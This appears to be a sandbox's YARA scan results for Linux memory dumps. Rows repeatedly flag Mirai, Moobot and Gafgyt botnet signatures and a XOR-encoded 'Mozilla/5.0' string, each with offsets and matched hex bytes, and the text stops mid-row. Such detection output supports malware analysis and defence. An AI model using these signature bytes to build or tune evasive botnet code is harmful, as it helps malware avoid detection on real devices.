7193.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6646.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7126.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6240.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6700.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6700.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6700.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6700.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6700.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6700.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7024.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7024.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7024.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7024.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7024.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7024.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6655.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6323.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6323.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6323.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7210.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7210.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7210.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7210.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7210.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7210.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6453.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6453.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6453.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6453.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6453.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6453.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7238.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7332.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7332.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7332.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 